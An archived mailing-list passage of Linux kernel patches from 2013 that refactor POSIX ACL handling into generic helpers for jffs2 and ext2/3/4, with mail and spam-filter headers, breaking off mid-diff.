-0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5nZ-0003ZK-VP; Sun, 01 Dec 2013 12:06:54 +0000 Message-Id: <20131201120653.841554822@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:05 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 02/18] fs: add get_acl helper References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 02/18] fs: add get_acl helper Content-Disposition: inline; filename=0002-fs-add-get_acl-helper.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899626 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Factor out the code to get an ACL either from the inode or disk from check_acl, so that it can be used elsewhere later on. Signed-off-by: Christoph Hellwig --- fs/namei.c | 24 +++--------------------- fs/posix_acl.c | 23 +++++++++++++++++++++++ include/linux/posix_acl.h | 2 ++ 3 files changed, 28 insertions(+), 21 deletions(-) diff --git a/fs/namei.c b/fs/namei.c index c53d3a9..8acd1e8 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -235,27 +235,9 @@ static int check_acl(struct inode *inode, int mask) return posix_acl_permission(inode, acl, mask & ~MAY_NOT_BLOCK); } - acl = get_cached_acl(inode, ACL_TYPE_ACCESS); - - /* - * A filesystem can force a ACL callback by just never filling the - * ACL cache. But normally you'd fill the cache either at inode - * instantiation time, or on the first ->get_acl call. - * - * If the filesystem doesn't have a get_acl() function at all, we'll - * just create the negative cache entry. - */ - if (acl == ACL_NOT_CACHED) { - if (inode->i_op->get_acl) { - acl = inode->i_op->get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } else { - set_cached_acl(inode, ACL_TYPE_ACCESS, NULL); - return -EAGAIN; - } - } - + acl = get_acl(inode, ACL_TYPE_ACCESS); + if (IS_ERR(acl)) + return PTR_ERR(acl); if (acl) { int error = posix_acl_permission(inode, acl, mask); posix_acl_release(acl); diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 8bd2135..9dd03e0 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -418,3 +418,26 @@ posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) return err; } EXPORT_SYMBOL(posix_acl_chmod); + +struct posix_acl *get_acl(struct inode *inode, int type) +{ + struct posix_acl *acl; + + acl = get_cached_acl(inode, type); + if (acl != ACL_NOT_CACHED) + return acl; + + /* + * A filesystem can force a ACL callback by just never filling the + * ACL cache. But normally you'd fill the cache either at inode + * instantiation time, or on the first ->get_acl call. + * + * If the filesystem doesn't have a get_acl() function at all, we'll + * just create the negative cache entry. + */ + if (!inode->i_op->get_acl) { + set_cached_acl(inode, type, NULL); + return ERR_PTR(-EAGAIN); + } + return inode->i_op->get_acl(inode, type); +} diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index 7931efe..a8d9918 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -175,4 +175,6 @@ static inline void cache_no_acl(struct inode *inode) #endif } +struct posix_acl *get_acl(struct inode *inode, int type); + #endif /* __LINUX_POSIX_ACL_H */ -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D23C67F5F for ; Sun, 1 Dec 2013 06:07:12 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A2AD58F8049 for ; Sun, 1 Dec 2013 04:07:12 -0800 (PST) X-ASG-Debug-ID: 1385899631-04bdf06eee424d00001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id i1HKd3NthsPxDBdv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:11 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5nb-0003ec-OZ; Sun, 01 Dec 2013 12:06:55 +0000 Message-Id: <20131201120655.675669876@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:14 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 11/18] jffs2: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 11/18] jffs2: use generic posix ACL infrastructure Content-Disposition: inline; filename=0011-jffs2-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899631 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig --- fs/jffs2/acl.c | 134 +++++----------------------------------------------- fs/jffs2/acl.h | 7 +-- fs/jffs2/dir.c | 1 + fs/jffs2/file.c | 1 + fs/jffs2/fs.c | 2 +- fs/jffs2/symlink.c | 1 + fs/jffs2/xattr.c | 9 ++-- 7 files changed, 22 insertions(+), 133 deletions(-) diff --git a/fs/jffs2/acl.c b/fs/jffs2/acl.c index 4d6e31b..f5f66b1 100644 --- a/fs/jffs2/acl.c +++ b/fs/jffs2/acl.c @@ -232,7 +232,7 @@ static int __jffs2_set_acl(struct inode *inode, int xprefix, struct posix_acl *a return rc; } -static int jffs2_set_acl(struct inode *inode, int type, struct posix_acl *acl) +int jffs2_set_acl(struct inode *inode, struct posix_acl *acl, int type) { int rc, xprefix; @@ -277,30 +277,21 @@ static int jffs2_set_acl(struct inode *inode, int type, struct posix_acl *acl) int jffs2_init_acl_pre(struct inode *dir_i, struct inode *inode, umode_t *i_mode) { - struct posix_acl *acl; + struct posix_acl *default_acl, *acl; int rc; cache_no_acl(inode); - if (S_ISLNK(*i_mode)) - return 0; /* Symlink always has no-ACL */ - - acl = jffs2_get_acl(dir_i, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - - if (!acl) { - *i_mode &= ~current_umask(); - } else { - if (S_ISDIR(*i_mode)) - set_cached_acl(inode, ACL_TYPE_DEFAULT, acl); - - rc = __posix_acl_create(&acl, GFP_KERNEL, i_mode); - if (rc < 0) - return rc; - if (rc > 0) - set_cached_acl(inode, ACL_TYPE_ACCESS, acl); + rc = posix_acl_create(dir_i, i_mode, &default_acl, &acl); + if (rc) + return rc; + if (default_acl) { + set_cached_acl(inode, ACL_TYPE_DEFAULT, default_acl); + posix_acl_release(default_acl); + } + if (acl) { + set_cached_acl(inode, ACL_TYPE_ACCESS, acl); posix_acl_release(acl); } return 0; @@ -324,106 +315,3 @@ int jffs2_init_acl_post(struct inode *inode) return 0; } - -int jffs2_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int rc; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - acl = jffs2_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - rc = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (rc) - return rc; - rc = jffs2_set_acl(inode, ACL_TYPE_ACCESS, acl); - posix_acl_release(acl); - return rc; -} - -static size_t jffs2_acl_access_listxattr(struct dentry *dentry, char *list, - size_t list_size, const char *name, size_t name_len, int type) -{ - const int retlen = sizeof(POSIX_ACL_XATTR_ACCESS); - - if (list && retlen <= list_size) - strcpy(list, POSIX_ACL_XATTR_ACCESS); - return retlen; -} - -static size_t jffs2_acl_default_listxattr(struct dentry *dentry, char *list, - size_t list_size, const char *name, size_t name_len, int type) -{ - const int retlen = sizeof(POSIX_ACL_XATTR_DEFAULT); - - if (list && retlen <= list_size) - strcpy(list, POSIX_ACL_XATTR_DEFAULT); - return retlen; -} - -static int jffs2_acl_getxattr(struct dentry *dentry, const char *name, - void *buffer, size_t size, int type) -{ - struct posix_acl *acl; - int rc; - - if (name[0] != '\0') - return -EINVAL; - - acl = jffs2_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (!acl) - return -ENODATA; - rc = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return rc; -} - -static int jffs2_acl_setxattr(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, int type) -{ - struct posix_acl *acl; - int rc; - - if (name[0] != '\0') - return -EINVAL; - if (!inode_owner_or_capable(dentry->d_inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl) { - rc = posix_acl_valid(acl); - if (rc) - goto out; - } - } else { - acl = NULL; - } - rc = jffs2_set_acl(dentry->d_inode, type, acl); - out: - posix_acl_release(acl); - return rc; -} - -const struct xattr_handler jffs2_acl_access_xattr_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_DEFAULT, - .list = jffs2_acl_access_listxattr, - .get = jffs2_acl_getxattr, - .set = jffs2_acl_setxattr, -}; - -const struct xattr_handler jffs2_acl_default_xattr_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = jffs2_acl_default_listxattr, - .get = jffs2_acl_getxattr, - .set = jffs2_acl_setxattr, -}; diff --git a/fs/jffs2/acl.h b/fs/jffs2/acl.h index 9b47724..2e2b574 100644 --- a/fs/jffs2/acl.h +++ b/fs/jffs2/acl.h @@ -27,17 +27,14 @@ struct jffs2_acl_header { #ifdef CONFIG_JFFS2_FS_POSIX_ACL struct posix_acl *jffs2_get_acl(struct inode *inode, int type); -extern int jffs2_acl_chmod(struct inode *); +int jffs2_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int jffs2_init_acl_pre(struct inode *, struct inode *, umode_t *); extern int jffs2_init_acl_post(struct inode *); -extern const struct xattr_handler jffs2_acl_access_xattr_handler; -extern const struct xattr_handler jffs2_acl_default_xattr_handler; - #else #define jffs2_get_acl (NULL) -#define jffs2_acl_chmod(inode) (0) +#define jffs2_set_acl (NULL) #define jffs2_init_acl_pre(dir_i,inode,mode) (0) #define jffs2_init_acl_post(inode) (0) diff --git a/fs/jffs2/dir.c b/fs/jffs2/dir.c index e3aac22..9385560 100644 --- a/fs/jffs2/dir.c +++ b/fs/jffs2/dir.c @@ -59,6 +59,7 @@ const struct inode_operations jffs2_dir_inode_operations = .mknod = jffs2_mknod, .rename = jffs2_rename, .get_acl = jffs2_get_acl, + .set_acl = jffs2_set_acl, .setattr = jffs2_setattr, .setxattr = jffs2_setxattr, .getxattr = jffs2_getxattr, diff --git a/fs/jffs2/file.c b/fs/jffs2/file.c index 1506673..256cd19 100644 --- a/fs/jffs2/file.c +++ b/fs/jffs2/file.c @@ -66,6 +66,7 @@ const struct file_operations jffs2_file_operations = const struct inode_operations jffs2_file_inode_operations = { .get_acl = jffs2_get_acl, + .set_acl = jffs2_set_acl, .setattr = jffs2_setattr, .setxattr = jffs2_setxattr, .getxattr = jffs2_getxattr, diff --git a/fs/jffs2/fs.c b/fs/jffs2/fs.c index 09b3ed4..586db76 100644 --- a/fs/jffs2/fs.c +++ b/fs/jffs2/fs.c @@ -198,7 +198,7 @@ int jffs2_setattr(struct dentry *dentry, struct iattr *iattr) rc = jffs2_do_setattr(dentry->d_inode, iattr); if (!rc && (iattr->ia_valid & ATTR_MODE)) - rc = jffs2_acl_chmod(dentry->d_inode); + rc = posix_acl_chmod(dentry->d_inode); return rc; } diff --git a/fs/jffs2/symlink.c b/fs/jffs2/symlink.c index 6e56333..c42df08 100644 --- a/fs/jffs2/symlink.c +++ b/fs/jffs2/symlink.c @@ -23,6 +23,7 @@ const struct inode_operations jffs2_symlink_inode_operations = .readlink = generic_readlink, .follow_link = jffs2_follow_link, .get_acl = jffs2_get_acl, + .set_acl = jffs2_set_acl, .setattr = jffs2_setattr, .setxattr = jffs2_setxattr, .getxattr = jffs2_getxattr, diff --git a/fs/jffs2/xattr.c b/fs/jffs2/xattr.c index 3034e97..ad0f2e2 100644 --- a/fs/jffs2/xattr.c +++ b/fs/jffs2/xattr.c @@ -22,6 +22,7 @@ #include #include #include +#include #include #include "nodelist.h" /* -------- xdatum related functions ---------------- @@ -921,8 +922,8 @@ const struct xattr_handler *jffs2_xattr_handlers[] = { &jffs2_security_xattr_handler, #endif #ifdef CONFIG_JFFS2_FS_POSIX_ACL - &jffs2_acl_access_xattr_handler, - &jffs2_acl_default_xattr_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif &jffs2_trusted_xattr_handler, NULL @@ -942,10 +943,10 @@ static const struct xattr_handler *xprefix_to_handler(int xprefix) { #endif #ifdef CONFIG_JFFS2_FS_POSIX_ACL case JFFS2_XPREFIX_ACL_ACCESS: - ret = &jffs2_acl_access_xattr_handler; + ret = &posix_acl_access_xattr_handler; break; case JFFS2_XPREFIX_ACL_DEFAULT: - ret = &jffs2_acl_default_xattr_handler; + ret = &posix_acl_default_xattr_handler; break; #endif case JFFS2_XPREFIX_TRUSTED: -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 79E887F57 for ; Sun, 1 Dec 2013 06:07:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6911D8F8049 for ; Sun, 1 Dec 2013 04:07:13 -0800 (PST) X-ASG-Debug-ID: 1385899631-04cbb04167421900001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id UjvCdc9aTCywG8FU (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:11 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5nb-0003cc-4D; Sun, 01 Dec 2013 12:06:55 +0000 Message-Id: <20131201120655.018342089@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:11 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 08/18] ext2/3/4: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 08/18] ext2/3/4: use generic posix ACL infrastructure Content-Disposition: inline; filename=0008-ext2-3-4-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899631 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig --- fs/ext2/acl.c | 176 ++++----------------------------------------- fs/ext2/acl.h | 8 +-- fs/ext2/file.c | 1 + fs/ext2/inode.c | 2 +- fs/ext2/namei.c | 2 + fs/ext2/xattr.c | 8 +-- fs/ext2/xattr.h | 2 - fs/ext3/acl.c | 213 ++++++++----------------------------------------------- fs/ext3/acl.h | 9 +-- fs/ext3/file.c | 1 + fs/ext3/inode.c | 2 +- fs/ext3/namei.c | 2 + fs/ext3/xattr.c | 8 +-- fs/ext3/xattr.h | 2 - fs/ext4/acl.c | 213 ++++++++----------------------------------------------- fs/ext4/acl.h | 9 +-- fs/ext4/file.c | 1 + fs/ext4/inode.c | 2 +- fs/ext4/namei.c | 2 + fs/ext4/xattr.c | 8 +-- fs/ext4/xattr.h | 2 - 21 files changed, 100 insertions(+), 573 deletions(-) diff --git a/fs/ext2/acl.c b/fs/ext2/acl.c index 6e842a7..f04a295 100644 --- a/fs/ext2/acl.c +++ b/fs/ext2/acl.c @@ -189,8 +189,8 @@ ext2_get_acl(struct inode *inode, int type) /* * inode->i_mutex: down */ -static int -ext2_set_acl(struct inode *inode, int type, struct posix_acl *acl) +int +ext2_set_acl(struct inode *inode, struct posix_acl *acl, int type) { int name_index; void *value = NULL; @@ -250,169 +250,21 @@ ext2_set_acl(struct inode *inode, int type, struct posix_acl *acl) int ext2_init_acl(struct inode *inode, struct inode *dir) { - struct posix_acl *acl = NULL; - int error = 0; - - if (!S_ISLNK(inode->i_mode)) { - if (test_opt(dir->i_sb, POSIX_ACL)) { - acl = ext2_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (!acl) - inode->i_mode &= ~current_umask(); - } - if (test_opt(inode->i_sb, POSIX_ACL) && acl) { - if (S_ISDIR(inode->i_mode)) { - error = ext2_set_acl(inode, ACL_TYPE_DEFAULT, acl); - if (error) - goto cleanup; - } - error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); - if (error < 0) - return error; - if (error > 0) { - /* This is an extended ACL */ - error = ext2_set_acl(inode, ACL_TYPE_ACCESS, acl); - } - } -cleanup: - posix_acl_release(acl); - return error; -} - -/* - * Does chmod for an inode that may have an Access Control List. The - * inode->i_mode field must be updated to the desired value by the caller - * before calling this function. - * Returns 0 on success, or a negative error number. - * - * We change the ACL rather than storing some ACL entries in the file - * mode permission bits (which would be more efficient), because that - * would break once additional permissions (like ACL_APPEND, ACL_DELETE - * for directories) are added. There are no more bits available in the - * file mode. - * - * inode->i_mutex: down - */ -int -ext2_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int error; + struct posix_acl *default_acl, *acl; + int error; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return 0; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - acl = ext2_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); if (error) return error; - error = ext2_set_acl(inode, ACL_TYPE_ACCESS, acl); - posix_acl_release(acl); - return error; -} - -/* - * Extended attribut handlers - */ -static size_t -ext2_xattr_list_acl_access(struct dentry *dentry, char *list, size_t list_size, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_size) - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); - return size; -} -static size_t -ext2_xattr_list_acl_default(struct dentry *dentry, char *list, size_t list_size, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_size) - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); - return size; -} - -static int -ext2_xattr_get_acl(struct dentry *dentry, const char *name, void *buffer, - size_t size, int type) -{ - struct posix_acl *acl; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return -EOPNOTSUPP; - - acl = ext2_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int -ext2_xattr_set_acl(struct dentry *dentry, const char *name, const void *value, - size_t size, int flags, int type) -{ - struct posix_acl *acl; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(dentry->d_inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - error = posix_acl_valid(acl); - if (error) - goto release_and_out; - } - } else - acl = NULL; - - error = ext2_set_acl(dentry->d_inode, type, acl); - -release_and_out: - posix_acl_release(acl); + if (default_acl) { + error = ext2_set_acl(inode, default_acl, ACL_TYPE_DEFAULT); + posix_acl_release(default_acl); + } + if (acl) { + if (!error) + error = ext2_set_acl(inode, acl, ACL_TYPE_ACCESS); + posix_acl_release(acl); + } return error; } - -const struct xattr_handler ext2_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = ext2_xattr_list_acl_access, - .get = ext2_xattr_get_acl, - .set = ext2_xattr_set_acl, -}; - -const struct xattr_handler ext2_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = ext2_xattr_list_acl_default, - .get = ext2_xattr_get_acl, - .set = ext2_xattr_set_acl, -}; diff --git a/fs/ext2/acl.h b/fs/ext2/acl.h index 503bfb0..44937f9 100644 --- a/fs/ext2/acl.h +++ b/fs/ext2/acl.h @@ -55,7 +55,7 @@ static inline int ext2_acl_count(size_t size) /* acl.c */ extern struct posix_acl *ext2_get_acl(struct inode *inode, int type); -extern int ext2_acl_chmod (struct inode *); +extern int ext2_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int ext2_init_acl (struct inode *, struct inode *); #else @@ -63,12 +63,6 @@ extern int ext2_init_acl (struct inode *, struct inode *); #define ext2_get_acl NULL #define ext2_set_acl NULL -static inline int -ext2_acl_chmod (struct inode *inode) -{ - return 0; -} - static inline int ext2_init_acl (struct inode *inode, struct inode *dir) { return 0; diff --git a/fs/ext2/file.c b/fs/ext2/file.c index a5b3a5d..44c36e5 100644 --- a/fs/ext2/file.c +++ b/fs/ext2/file.c @@ -103,5 +103,6 @@ const struct inode_operations ext2_file_inode_operations = { #endif .setattr = ext2_setattr, .get_acl = ext2_get_acl, + .set_acl = ext2_set_acl, .fiemap = ext2_fiemap, }; diff --git a/fs/ext2/inode.c b/fs/ext2/inode.c index 8a33764..1be8866 100644 --- a/fs/ext2/inode.c +++ b/fs/ext2/inode.c @@ -1566,7 +1566,7 @@ int ext2_setattr(struct dentry *dentry, struct iattr *iattr) } setattr_copy(inode, iattr); if (iattr->ia_valid & ATTR_MODE) - error = ext2_acl_chmod(inode); + error = posix_acl_chmod(inode); mark_inode_dirty(inode); return error; diff --git a/fs/ext2/namei.c b/fs/ext2/namei.c index 256dd5f..c268d0a 100644 --- a/fs/ext2/namei.c +++ b/fs/ext2/namei.c @@ -421,6 +421,7 @@ const struct inode_operations ext2_dir_inode_operations = { #endif .setattr = ext2_setattr, .get_acl = ext2_get_acl, + .set_acl = ext2_set_acl, .tmpfile = ext2_tmpfile, }; @@ -433,4 +434,5 @@ const struct inode_operations ext2_special_inode_operations = { #endif .setattr = ext2_setattr, .get_acl = ext2_get_acl, + .set_acl = ext2_set_acl, }; diff --git a/fs/ext2/xattr.c b/fs/ext2/xattr.c index 2d7557d..9142614 100644 --- a/fs/ext2/xattr.c +++ b/fs/ext2/xattr.c @@ -103,8 +103,8 @@ static struct mb_cache *ext2_xattr_cache; static const struct xattr_handler *ext2_xattr_handler_map[] = { [EXT2_XATTR_INDEX_USER] = &ext2_xattr_user_handler, #ifdef CONFIG_EXT2_FS_POSIX_ACL - [EXT2_XATTR_INDEX_POSIX_ACL_ACCESS] = &ext2_xattr_acl_access_handler, - [EXT2_XATTR_INDEX_POSIX_ACL_DEFAULT] = &ext2_xattr_acl_default_handler, + [EXT2_XATTR_INDEX_POSIX_ACL_ACCESS] = &posix_acl_access_xattr_handler, + [EXT2_XATTR_INDEX_POSIX_ACL_DEFAULT] = &posix_acl_default_xattr_handler, #endif [EXT2_XATTR_INDEX_TRUSTED] = &ext2_xattr_trusted_handler, #ifdef CONFIG_EXT2_FS_SECURITY @@ -116,8 +116,8 @@ const struct xattr_handler *ext2_xattr_handlers[] = { &ext2_xattr_user_handler, &ext2_xattr_trusted_handler, #ifdef CONFIG_EXT2_FS_POSIX_ACL - &ext2_xattr_acl_access_handler, - &ext2_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif #ifdef CONFIG_EXT2_FS_SECURITY &ext2_xattr_security_handler, diff --git a/fs/ext2/xattr.h b/fs/ext2/xattr.h index 5e41ccc..60edf29 100644 --- a/fs/ext2/xattr.h +++ b/fs/ext2/xattr.h @@ -57,8 +57,6 @@ struct ext2_xattr_entry { extern const struct xattr_handler ext2_xattr_user_handler; extern const struct xattr_handler ext2_xattr_trusted_handler; -extern const struct xattr_handler ext2_xattr_acl_access_handler; -extern const struct xattr_handler ext2_xattr_acl_default_handler; extern const struct xattr_handler ext2_xattr_security_handler; extern ssize_t ext2_listxattr(struct dentry *, char *, size_t); diff --git a/fs/ext3/acl.c b/fs/ext3/acl.c index 4f3d8fa..e9cb33f 100644 --- a/fs/ext3/acl.c +++ b/fs/ext3/acl.c @@ -190,7 